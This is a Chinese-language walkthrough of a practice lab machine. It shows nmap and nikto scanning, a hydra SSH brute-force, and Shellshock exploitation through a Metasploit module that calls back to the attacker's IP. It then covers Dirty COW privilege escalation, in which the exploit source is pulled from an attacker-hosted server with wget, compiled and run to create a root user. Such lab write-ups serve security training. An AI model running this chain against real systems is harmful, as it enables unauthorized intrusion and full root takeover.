总结

getwebshell : nikto 扫描 → 发现 shellshock 漏洞 → 漏洞利用 → getwebshell

提 权 思 路 : 内网信息收集 → 内核版本较老 →脏牛提权

准备工作

启动 VPN
获取攻击机 IP → 192.168.45.194
获取攻击机IP

获取攻击机 IP

启动靶机
获取目标机器 IP → 192.168.190.87
获取目标机器IP
获取目标机器 IP

信息收集-端口扫描

目标开放端口收集

  • Nmap 开放端口扫描 2 次 (多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.190.87
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Plain text

端口扫描

端口扫描

开放的端口 ->22,80

目标端口对应服务探测

# tcp 探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.190.87
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
Plain text

目标端口对应服务探测

目标端口对应服务探测

信息收集-端口测试

22-SSH 端口的信息收集

22-SSH 端口版本信息与 MSF 利用
通过 Nmap 探测获得 SSH 的版本信息,可以尝试利用
探测版本为 OpenSSH 5.9p1 Debian 较老

# 搜索对应脚本
msf6 > searchsploit OpenSSH 5.9p1
Plain text

发现搜索到可利用的和用户枚举有关(待定)
MSF利用

MSF 利用

22-SSH 协议支持的登录方式
通过 Nmap 探测获得 SSH 的版本信息,在获取到某个用户名之后尝试
sudo ssh root@192.168.190.87 -v
显示 publickey、password 就是支持密钥以及密码登录

显示publickey、password就是支持密钥以及密码登录

显示 publickey、password 就是支持密钥以及密码登录

22-SSH 手动登录尝试 (无)
因为支持密码登录,尝试 root 账户的密码弱密码尝试

sudo ssh root@192.168.190.87 -p 22
# 密码尝试
password > root
Plain text

弱密码尝试失败
弱密码尝试失败

弱密码尝试失败

22-SSH 弱口令爆破 (静静等待)
因为支持密码登录,尝试 root 账户的密码爆破,利用工具 hydra,线程 -t 为 6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.190.87 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集
爆破

爆破

80-HTTP 端口的信息收集
访问 http://192.168.190.87:80 不是 CMS 我们直接从 HTML 隐藏信息收集开始
提示是存在启动的应用,但是没显示
存在应用启动
存在应用启动

** 信息收集 -HTML 隐藏信息查看
**

# 包括文章中是否写明一些敏感信息
curl http://192.168.190.87:80
Plain text


无

信息收集-目录扫描

信息收集-目录扫描初步

# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.190.87:80 -x 302,403,404
dirb http://192.168.190.87:80
Plain text

没有扫出目录,准备大字典
目录扫描

目录扫描

信息收集-目录扫描 (深度 / 大字典)

gobuster dir -u http://192.168.190.87:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000
Plain text

目录扫描1

目录扫描 1

在进行大字典的时候,发现无事可干,尝试利用其他工具探测一下 web
目录探测
目录探测

探测完毕,毫无头绪

漏洞探测 -nikto 扫描

nikto -h http://192.168.190.87:80
Plain text

nikto扫描

nikto 扫描

探测之后提示似乎容易受到 shellshock 漏洞攻击 CVE-2014-6278
似乎与首页的提示存在启动的应用有关

漏洞利用 -getwebshell

Shellshock 漏洞于 2014 年 9 月公开,并且对网络安全造成了相当大的影响。这个漏洞的本质是 Bash 解释器在处理环境变量时存在一种缺陷,允许远程攻击者通过精心构造的恶意环境变量注入任意的 Shell 命令,从而实现执行恶意代码的能力。

Shellshock 攻击

使用 msfconsole,搜索攻击方式

msfconsole
search CVE-2014-6271
Plain text

搜索攻击方式

搜索攻击方式

在这里选择了 1 因为探测出来是 apache 的站点,1 比 2 更靠谱
使用 msf 漏洞利用模块:exploit(multi/http/apache_mod_cgi_bash_env_exec)

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set rhosts 192.168.190.87
set lhost 192.168.45.194
set targeturi /cgi-bin/test
run
Plain text

成功 getwebshell
getshell

getshell

内网遨游 -getshell

交互 shell

交互 shell-python

由于获取的 shell 交互不友好,利用 python 获得新的交互 shell

# 如果是 msf 的要先 shell
shell
# 利用 python 获取交互 shell -> python 失败使用 python3
python -c "import pty;pty.spawn('/bin/bash')";
Plain text

利用python获得新的交互shell

利用 python 获得新的交互 shell

FLAG1 获取

www-data@ubuntu:/usr/lib/cgi-bin$ find / -name local.txt 2>/dev/null
/usr/lib/cgi-bin/local.txt
www-data@ubuntu:/usr/lib/cgi-bin$ cat /usr/lib/cgi-bin/local.txt
6b8bdd93e00d8ea52fcc7f201eba9f56
Plain text

信息收集-内网基础信息收集

提权的本质在于枚举,在获取 shell 之后我们要进行内网信息的收集,都是为了提权做准备

检测 Linux 操作系统的发行版本
较老的 Ubuntu 以及 Linux 系统可以 overlayfs 提权

# 确定发行版本
www-data@ubuntu:/usr/lib/cgi-bin$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04 LTS
Release:        12.04
Codename:       precise
Plain text

发行版本为 Ubuntu 12.04,有点能 overlayfs 提权

检测 Linux 操作系统的内核版本
较低的内核版本可以进行脏牛提权

www-data@ubuntu:/usr/lib/cgi-bin$ uname -a
Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
Plain text

内核版本为 3.2.0
查看内核版本

查看内核版本

权限提升

overlayfs 提权 (无)

若存在以下情况进行 overlayfsLinux Kernel Version 提权

系统版本
Linux Kernel Version 大于 3.13.0 小于 3.19
UbuntuLinux 15.04
UbuntuLinux 14.10
UbuntuLinux 14.10
UbuntuLinux 12.04
msfcontrol

msf > searchsploit overlayfs
Plain text

发现内核版本不太符合
内核版本不符

内核版本不符

脏牛提权尝试 1( 失败)

若存在以下情况进行脏牛提权

系统版本
Centos7/RHEL73.10 .0-327.36.3.e17
Cetnos6/RHEL64.4.0-45.66
Ubuntu 16.102.6.32-642 .6.2.e16
Ubuntu 16.044.8.0-26.28
Ubuntu 14.043.13.0-100.147
Debian 83.16.36-1+deb8u2
Debian 73.2.82-1

msf6 > searchsploit dirty

# cp 到本地
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp .
# 确认编译语句
cat 40847.cpp
Plain text

得到编译以及执行的语句

得到编译以及执行的语句

得到编译以及执行的语句

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s
Plain text

python3 开启 http 服务

# 利用 python 开启 http 服务,方便目标机器上下载文件
sudo python3 -m http.server 80
# 目标机器到 tmp 目录下下载 (有下载权限)
cd /tmp
# 下载
wget http://192.168.45.194/40847.cpp
# 给权限
chmod +x 40847.cpp
# 编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
# 运行
./dcow -s
Plain text

发现不能用 g++`
g++

g++

脏牛提权尝试 2

尝试换一个

# cp 到本地
cp /usr/share/exploitdb/exploits/linux/local/40839.c .
# 确认编译语句
cat linux/local/40839.c
Plain text

gcc -pthread dirty.c -o dirty -lcrypt
创建 firefart 用户,密码自输
Plain text

python3 开启 http 服务

# 利用 python 开启 http 服务,方便目标机器上下载文件
sudo python3 -m http.server 80
# 目标机器到 tmp 目录下下载 (有下载权限)
cd /tmp
# 下载
wget http://192.168.45.194/40839.c
# 给权限
chmod +x 40839.c
# 编译
gcc -pthread 40839.c -o dirty -lcrypt
# 运行
./dirty
Plain text

# 重新登录 su firefart 用户密码 123456
www-data@ubuntu:/usr/lib/cgi-bin$ su firefart
Password: 123456
firefart@ubuntu:/usr/lib/cgi-bin# id
uid=0(firefart) gid=0(root) groups=0(root)
Plain text

提权成功
提权成功

提权成功

FLAG2 获取

firefart@ubuntu:/tmp# cat /root/proof.txt

22f3656d21fb5ef444ea898e69073476
Plain text

总结

从发现 ssh 版本开始就感觉有点偏老,应该多尝试老漏洞

有时候 nikto 工具也可以适当用一下,指不定有其他收获